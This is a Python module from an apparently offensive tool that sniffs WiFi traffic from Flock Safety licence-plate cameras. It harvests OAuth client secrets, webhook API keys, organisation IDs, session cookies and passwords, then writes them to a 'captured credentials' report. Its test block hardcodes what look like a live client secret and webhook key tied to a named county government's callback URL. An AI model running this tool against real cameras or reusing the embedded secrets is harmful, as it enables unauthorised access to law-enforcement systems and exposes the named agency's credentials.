Files
Flock_SCAN-fix/modules/creds_extractor.py
T

409 lines
15 KiB
Python

#!/usr/bin/env python3
"""
creds_extractor.py — Extract leaked M2M tokens, webhook API keys,
and auth configurations from camera HTTP traffic.
When a camera's admin page or config endpoints are captured over WiFi
(monitor mode), this module scans for:
- OAuth2 client_id / client_secret pairs
- Flock Safety M2M configuration
- Webhook API keys (X-API-Key headers, callback URLs)
- Auth0 / OIDC endpoints
- Admin credentials
- Any API keys in body text
Usage:
from modules.creds_extractor import extract_creds, scan_for_creds
found = extract_creds(body_text, source="admin_page")
creds = scan_for_creds(http_responses_list)
"""
import re
import json
from datetime import datetime
# ═══════════════════════════════════════════════════════════════════
# PATTERNS
# ═══════════════════════════════════════════════════════════════════
# M2M / OAuth2 credential patterns
M2M_CLIENT_ID = re.compile(
r'(?:client_id|clientId|client-id)\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']',
re.I
)
M2M_CLIENT_SECRET = re.compile(
r'(?:client_secret|clientSecret|client-secret)\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']',
re.I
)
M2M_PAIRED = re.compile(
r'client_id["\']?\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\'][^;]*?client_secret["\']?\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']',
re.I | re.DOTALL
)
# Flock-specific
FLOCK_AUDIENCE = re.compile(
r'(?:audience|aud)\s*[:=]\s*["\'](com\.flocksafety\.[a-zA-Z.]+)["\']',
re.I
)
FLOCK_ORG_ID = re.compile(
r'(?:organization_id|orgId|organisation_id)\s*[:=]\s*["\']?([a-f0-9-]{36})["\']?',
re.I
)
FLOCK_TOKEN_ENDPOINT = re.compile(
r'https://api\.flocksafety\.com/oauth/token',
re.I
)
FLOCK_WEBHOOK_API_KEY = re.compile(
r'(?:X-API-Key|webhook_api_key|api_key)\s*[:=]\s*["\']([A-Z0-9_-]{20,})["\']',
re.I
)
# Generic API keys
API_KEY_PATTERNS = [
(re.compile(r'api[_-]?key\s*[:=]\s*["\']([A-Za-z0-9_\-=]{16,})["\']', re.I), "API_Key"),
(re.compile(r'secret\s*[:=]\s*["\']([A-Za-z0-9_\-=]{16,})["\']', re.I), "Generic_Secret"),
(re.compile(r'token\s*[:=]\s*["\']([A-Za-z0-9_\-\.]{20,})["\']', re.I), "Token"),
(re.compile(r'password\s*[:=]\s*["\']([^"\']{6,})["\']', re.I), "Password"),
(re.compile(r'passwd\s*[:=]\s*["\']([^"\']{6,})["\']', re.I), "Password"),
]
# Webhook URLs
WEBHOOK_URL = re.compile(
r'https?://[a-zA-Z0-9.-]+/webhooks?/[a-zA-Z0-9_.-]+',
re.I
)
CALLBACK_URL = re.compile(
r'(?:callback_url|callbackUrl|redirect_uri|redirectUri)\s*[:=]\s*["\'](https?://[^"\']+)["\']',
re.I
)
# Auth0 / OIDC endpoints
AUTH0_DOMAIN = re.compile(
r'(?:login\.flocksafety\.com|flocksafety\.auth0\.com|auth0)',
re.I
)
# Admin credentials (low-confidence — catches patterns)
ADMIN_CRED = re.compile(
r'(?:admin|root|administrator)\s*[:=]\s*["\']\w+["\']\s*[:;,\n]\s*(?:pass|passwd|password)\s*[:=]\s*["\'][^"\']+["\']',
re.I
)
# ═══════════════════════════════════════════════════════════════════
# EXTRACTION FUNCTIONS
# ═══════════════════════════════════════════════════════════════════
def extract_creds(body, source="unknown", headers=None):
"""
Scan a body of text (HTTP response, config dump, etc.) for credentials.
Returns a list of finding dicts.
Args:
body: String body to scan
source: Label for where this came from (e.g. "admin_page", "config_endpoint")
headers: Optional dict of HTTP headers from the same response
Returns:
List of dicts: [{type, value, context, source, confidence}]
"""
findings = []
if not body:
return findings
# ── M2M Paired (client_id + client_secret together) ──
for m in M2M_PAIRED.finditer(body):
findings.append({
"type": "M2M_CREDENTIALS",
"value": f"client_id={m.group(1)}, client_secret={m.group(2)}",
"client_id": m.group(1),
"client_secret": m.group(2),
"source": source,
"confidence": "HIGH" if FLOCK_TOKEN_ENDPOINT.search(body) else "MEDIUM",
"context": body[max(0, m.start()-80):m.end()+80],
})
# ── Individual M2M client_ids ──
for m in M2M_CLIENT_ID.finditer(body):
# Skip if already captured in paired match
if not any(f.get("client_id") == m.group(1) for f in findings if f.get("client_id")):
findings.append({
"type": "CLIENT_ID",
"value": m.group(1),
"source": source,
"confidence": "MEDIUM" if AUTH0_DOMAIN.search(body) else "LOW",
"context": body[max(0, m.start()-40):m.end()+40],
})
# ── Individual client secrets ──
for m in M2M_CLIENT_SECRET.finditer(body):
if not any(f.get("client_secret") == m.group(1) for f in findings if f.get("client_secret")):
findings.append({
"type": "CLIENT_SECRET",
"value": m.group(1),
"source": source,
"confidence": "MEDIUM",
"context": body[max(0, m.start()-40):m.end()+40],
})
# ── Flock M2M Audience ──
for m in FLOCK_AUDIENCE.finditer(body):
findings.append({
"type": "M2M_AUDIENCE",
"value": m.group(1),
"source": source,
"confidence": "HIGH",
})
# ── Flock Organization UUID ──
for m in FLOCK_ORG_ID.finditer(body):
findings.append({
"type": "ORGANIZATION_UUID",
"value": m.group(1),
"source": source,
"confidence": "HIGH",
})
# ── Webhook API keys ──
for m in FLOCK_WEBHOOK_API_KEY.finditer(body):
findings.append({
"type": "WEBHOOK_API_KEY",
"value": m.group(1),
"source": source,
"confidence": "HIGH" if "flock" in body.lower() else "MEDIUM",
"context": body[max(0, m.start()-40):m.end()+40],
})
# ── Webhook URLs ──
for m in WEBHOOK_URL.finditer(body):
findings.append({
"type": "WEBHOOK_URL",
"value": m.group(0),
"source": source,
"confidence": "MEDIUM",
})
# ── Callback URLs ──
for m in CALLBACK_URL.finditer(body):
findings.append({
"type": "CALLBACK_URL",
"value": m.group(1),
"source": source,
"confidence": "HIGH",
})
# ── Generic API keys ──
for pattern, label in API_KEY_PATTERNS:
for m in pattern.finditer(body):
# Skip short or obviously fake keys
val = m.group(1)
if len(val) < 8 or val in ("password", "password123", "admin"):
continue
findings.append({
"type": label,
"value": val,
"source": source,
"confidence": "LOW",
"context": body[max(0, m.start()-30):m.end()+30][:100],
})
return findings
def extract_creds_from_headers(headers, source="unknown"):
"""Scan HTTP response headers for credential leaks."""
findings = []
if not headers:
return findings
h = {k.lower(): v for k, v in headers.items()}
# X-API-Key
for key in ("x-api-key", "x-api-key", "api-key", "authorization"):
if key in h:
val = h[key]
if key == "authorization" and val.startswith("Bearer "):
val = val[7:]
findings.append({
"type": "HEADER_API_KEY",
"value": val,
"header": key,
"source": source,
"confidence": "MEDIUM",
})
# Set-Cookie can leak session info
if "set-cookie" in h:
cookie = h["set-cookie"]
# Check for session tokens
if "session" in cookie.lower() or "token" in cookie.lower():
findings.append({
"type": "SESSION_COOKIE",
"value": cookie[:200],
"header": "Set-Cookie",
"source": source,
"confidence": "LOW",
})
return findings
def scan_responses(responses, output_file=None):
"""
Scan a list of HTTP response data from captured traffic.
Each response: {"url": str, "body": str, "headers": dict, "source": str}
Returns deduplicated cred findings + optionally writes them to a doc.
"""
all_findings = []
seen_values = set()
for resp in responses:
findings = extract_creds(
resp.get("body", ""),
source=resp.get("source", resp.get("url", "unknown")),
headers=resp.get("headers"),
)
findings += extract_creds_from_headers(
resp.get("headers", {}),
source=resp.get("source", resp.get("url", "unknown")),
)
for f in findings:
dedup_key = f"{f['type']}:{f['value']}"
if dedup_key not in seen_values:
seen_values.add(dedup_key)
all_findings.append(f)
# Write to doc if output_file specified
if output_file and all_findings:
write_creds_report(all_findings, output_file)
return all_findings
def write_creds_report(findings, output_path):
"""Write a human-readable credentials dump to a file."""
timestamp = datetime.now().isoformat()
with open(output_path, "w") as f:
f.write("╔══════════════════════════════════════════════════════════════╗\n")
f.write("║ FLOCK_scan — Captured Credentials Report ║\n")
f.write(f"║ Generated: {timestamp}\n")
f.write("╚══════════════════════════════════════════════════════════════╝\n\n")
# Group by type
by_type = {}
for finding in findings:
t = finding["type"]
if t not in by_type:
by_type[t] = []
by_type[t].append(finding)
priority_order = [
"M2M_CREDENTIALS", "CLIENT_ID", "CLIENT_SECRET", "M2M_AUDIENCE",
"ORGANIZATION_UUID", "WEBHOOK_API_KEY", "WEBHOOK_URL",
"CALLBACK_URL", "HEADER_API_KEY", "SESSION_COOKIE",
"API_Key", "Generic_Secret", "Token", "Password",
]
for ptype in priority_order:
if ptype not in by_type:
continue
items = by_type[ptype]
f.write(f"\n{'─' * 70}\n")
severity = {
"M2M_CREDENTIALS": "[CRIT] CRITICAL",
"CLIENT_ID": "[HIGH] HIGH",
"CLIENT_SECRET": "[CRIT] CRITICAL",
"WEBHOOK_API_KEY": "[CRIT] CRITICAL",
"ORGANIZATION_UUID": "[MED] MEDIUM",
"CALLBACK_URL": "[MED] MEDIUM",
"HEADER_API_KEY": "[MED] MEDIUM",
"WEBHOOK_URL": "[LOW] LOW",
}.get(ptype, "[INFO] INFO")
f.write(f" {severity} {ptype} ({len(items)} found)\n")
f.write(f"{'─' * 70}\n")
for item in items:
f.write(f"\n Value: {item['value']}\n")
f.write(f" Source: {item.get('source', 'unknown')}\n")
f.write(f" Conf: {item.get('confidence', 'N/A')}\n")
ctx = item.get("context", "")
if ctx:
f.write(f" Context: {ctx[:200]}\n")
f.write("\n")
f.write(f"\n{'═' * 70}\n")
f.write(f"Total findings: {len(findings)}\n")
f.write(f"File: {output_path}\n")
return len(findings)
def format_findings_terminal(findings, color=True):
"""Format findings for terminal display."""
lines = []
if not findings:
return " No credentials found."
by_type = {}
for f in findings:
by_type.setdefault(f["type"], []).append(f)
for ptype in ["M2M_CREDENTIALS", "CLIENT_ID", "CLIENT_SECRET",
"WEBHOOK_API_KEY", "ORGANIZATION_UUID", "CALLBACK_URL",
"WEBHOOK_URL", "HEADER_API_KEY"]:
if ptype not in by_type:
continue
items = by_type[ptype]
if color:
label = {
"M2M_CREDENTIALS": "\033[91m[M2M]\033[0m",
"CLIENT_ID": "\033[93m[CLIENT_ID]\033[0m",
"CLIENT_SECRET": "\033[91m[SECRET]\033[0m",
"WEBHOOK_API_KEY": "\033[91m[WEBHOOK_KEY]\033[0m",
"ORGANIZATION_UUID": "\033[93m[ORG_ID]\033[0m",
"CALLBACK_URL": "\033[93m[CALLBACK]\033[0m",
"WEBHOOK_URL": "\033[94m[WEBHOOK]\033[0m",
"HEADER_API_KEY": "\033[93m[HEADER_KEY]\033[0m",
}.get(ptype, f"[{ptype}]")
else:
label = f"[{ptype}]"
for item in items:
lines.append(f" {label} {item['value'][:80]}")
if item.get("context"):
lines.append(f" └─ {item['source']}")
return "\n".join(lines)
# ═══════════════════════════════════════════════════════════════════
# CLI TEST
# ═══════════════════════════════════════════════════════════════════
if __name__ == "__main__":
sample = """
const config = {
client_id: "CfDcZ19oi2zyujdBmSTr1f78rE8PcpaU",
client_secret: "ml7YQ41K--MLHJn8SwEDVdUbF9Gga9NLKlf4BUvww2LlJnGYJuVS5YgMQYHMCX1L",
audience: "com.flocksafety.integrations",
organization_id: "39f42f24-393f-4a2e-bca2-0ce4cdf3fbf7",
token_endpoint: "https://api.flocksafety.com/oauth/token",
webhook_api_key: "BCSOREDFIVE-FLOCK-LPR-7f3a9e2d1c4b8056",
callback_url: "https://redfive.berkeleycountysc.gov/webhooks/flock_webhook.php"
};
"""
findings = extract_creds(sample, source="sample_config")
print("Terminal output:\n")
print(format_findings_terminal(findings))
print("\n\nWriting to creds_report.txt...")
write_creds_report(findings, "/tmp/creds_test.txt")
print(open("/tmp/creds_test.txt").read())